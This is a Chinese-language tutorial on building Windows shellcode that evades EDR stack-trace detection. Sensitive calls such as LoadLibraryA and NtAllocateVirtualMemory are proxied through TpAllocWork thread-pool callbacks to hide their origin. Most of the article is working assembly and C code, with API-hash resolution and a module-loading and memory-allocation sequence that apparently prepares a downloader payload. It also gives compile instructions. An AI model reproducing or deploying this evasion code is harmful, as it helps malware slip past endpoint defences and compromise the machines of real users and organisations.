利用自定义堆栈进行 Shellcode 开发
字数 1036 2025-08-25 22:58:41
利用自定义堆栈进行 Shellcode 开发技术详解
1. 概述
本文详细讲解如何利用回调函数和自定义堆栈技术开发绕过EDR检测的Shellcode。该技术基于BRC4作者提出的"间接系统调用已死,自定义调用堆栈长存"理念,通过修改堆栈调用关系来规避EDR的检测机制。
2. EDR检测原理
EDR通常通过以下方式检测恶意Shellcode:
- 用户态Hook或ETW:监控敏感API调用
- 堆栈回溯:检查返回地址是否合法
典型的堆栈检测模式:
|-----------Top Of The Stack-----------|
| |
|------Stack Frame of LoadLibrary------|
| Return address of RX on disk |
|----------Stack Frame of RX-----------| <- 检测点(未映射的RX区域不应调用LoadLibraryA)
| Return address of PE on disk |
|-----------Stack Frame of PE----------|
| Return address of RtlUserThreadStart |
|---------Bottom Of The Stack----------|
3. 回调函数技术详解
3.1 基本概念
回调函数是通过函数指针调用的函数,其特点:
- 不是由实现方直接调用
- 在特定事件或条件发生时由另一方调用
- 用于对事件或条件进行响应
3.2 使用TpAllocWork函数
TpAllocWork函数原型:
NTSTATUS NTAPI TpAllocWork(
PTP_WORK* ptpWrk,
PTP_WORK_CALLBACK pfnwkCallback, // 回调函数指针
PVOID OptionalArg, // 回调函数参数
PTP_CALLBACK_ENVIRON CallbackEnvironment
);
通过将敏感API(如LoadLibraryA)作为回调函数传入,可以改变堆栈调用关系。
3.3 LoadLibraryA的实现问题
直接使用LoadLibraryA作为回调函数存在参数传递问题:
PTP_WORK_CALLBACK类型的回调函数有三个固定参数- LoadLibraryA只需要一个参数(库名)
- 参数位置不匹配导致无法正确传递
解决方案:使用汇编代码调整参数传递
汇编实现代码
section .text
extern getLoadLibraryA
global WorkCallback
WorkCallback:
mov rcx, rdx ; 将RDX(第二个参数)移动到RCX(第一个参数位置)
xor rdx, rdx ; 清空RDX
call getLoadLibraryA ; 获取LoadLibraryA地址
jmp rax ; 跳转到LoadLibraryA执行
C辅助函数
UINT_PTR getLoadLibraryA() {
return (UINT_PTR)pLoadLibraryA; // 返回LoadLibraryA地址
}
3.4 Shellcode中的优化实现
在Shellcode环境中,需要避免使用全局变量,改进方案:
myLoadLibrary PROC
movq xmm3, rdx ; 使用XMM寄存器临时保存参数
xor rdx, rdx
call getLoadLibraryA
movq rcx, xmm3 ; 恢复参数到RCX
xorps xmm3, xmm3 ; 清空XMM寄存器
jmp rax
myLoadLibrary ENDP
对应的C函数:
EXTERN_C UINT_PTR getLoadLibraryA() {
FARPROC pLoadLibraryA = (FN_LoadLibraryA)GetProcAddressWithHash(0x0726774C);
return (UINT_PTR)pLoadLibraryA;
}
4. VirtualAlloc的实现
4.1 参数结构体设计
typedef struct _NTALLOCATEVIRTUALMEMORY_ARGS {
UINT_PTR pNtAllocateVirtualMemory; // NtAllocateVirtualMemory地址(rax)
HANDLE hProcess; // 进程句柄(rcx)
PVOID* address; // 分配地址指针(rdx)
PSIZE_T size; // 分配大小(r9)
ULONG permissions; // 内存保护属性(栈传递)
} NTALLOCATEVIRTUALMEMORY_ARGS;
4.2 汇编实现
关键点:不破坏现有堆栈结构,在现有栈空间中安排参数
myNtAllocateVirtualMemory PROC
mov rbx, rdx ; 备份结构体指针
mov rax, [rbx] ; 获取NtAllocateVirtualMemory地址
mov rcx, [rbx + 8h] ; 进程句柄 -> RCX
mov rdx, [rbx + 10h] ; 地址指针 -> RDX
xor r8, r8 ; ZeroBits -> R8
mov r9, [rbx + 18h] ; 分配大小 -> R9
mov r10, [rbx + 20h] ; 保护属性
mov [rsp+30h], r10 ; 第6个参数(栈传递)
mov r10, 3000h ; AllocationType (MEM_RESERVE|MEM_COMMIT)
mov [rsp+28h], r10 ; 第5个参数(栈传递)
jmp rax ; 跳转到NtAllocateVirtualMemory
myNtAllocateVirtualMemory ENDP
5. 完整Shellcode构建
5.1 模块加载实现
/* 加载User32.dll */
ai.pfnTpAllocWork(&LoadUser32, (PTP_WORK_CALLBACK)myLoadLibrary, (PVOID)szUser32, NULL);
ai.pfnTpPostWork(LoadUser32);
ai.pfnTpReleaseWork(LoadUser32);
/* 加载Wininet.dll */
ai.pfnTpAllocWork(&LoadWininet, (PTP_WORK_CALLBACK)myLoadLibrary, (PVOID)szWininet, NULL);
ai.pfnTpPostWork(LoadWininet);
ai.pfnTpReleaseWork(LoadWininet);
5.2 内存分配实现
/* 分配URL内存 */
ntAllocateVirtualMemoryUrlArgs.pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddressWithHash(0x9488B12D);
ntAllocateVirtualMemoryUrlArgs.hProcess = (HANDLE)-1;
ntAllocateVirtualMemoryUrlArgs.address = &httpurl;
ntAllocateVirtualMemoryUrlArgs.size = &allocatedurlsize;
ntAllocateVirtualMemoryUrlArgs.permissions = PAGE_READWRITE;
ai.pfnTpAllocWork(&AllocUrl, (PTP_WORK_CALLBACK)myNtAllocateVirtualMemory, &ntAllocateVirtualMemoryUrlArgs, NULL);
ai.pfnTpPostWork(AllocUrl);
ai.pfnTpReleaseWork(AllocUrl);
6. 编译注意事项
- 将汇编代码编译为OBJ文件
- 在项目链接器中添加为附加依赖项
- 必须禁用优化或仅优化速度,否则Shellcode可能无法正常运行
- 此方法生成的Shellcode体积会增大(约2倍)
7. 参考资源
- Hiding In PlainSight - Proxying DLL Loads To Hide From ETWTI Stack Tracing
- Hiding In PlainSight - Indirect Syscall is Dead! Long Live Custom Call Stacks
- WorkCallback callback function (Windows)
完整Demo代码: GitHub仓库链接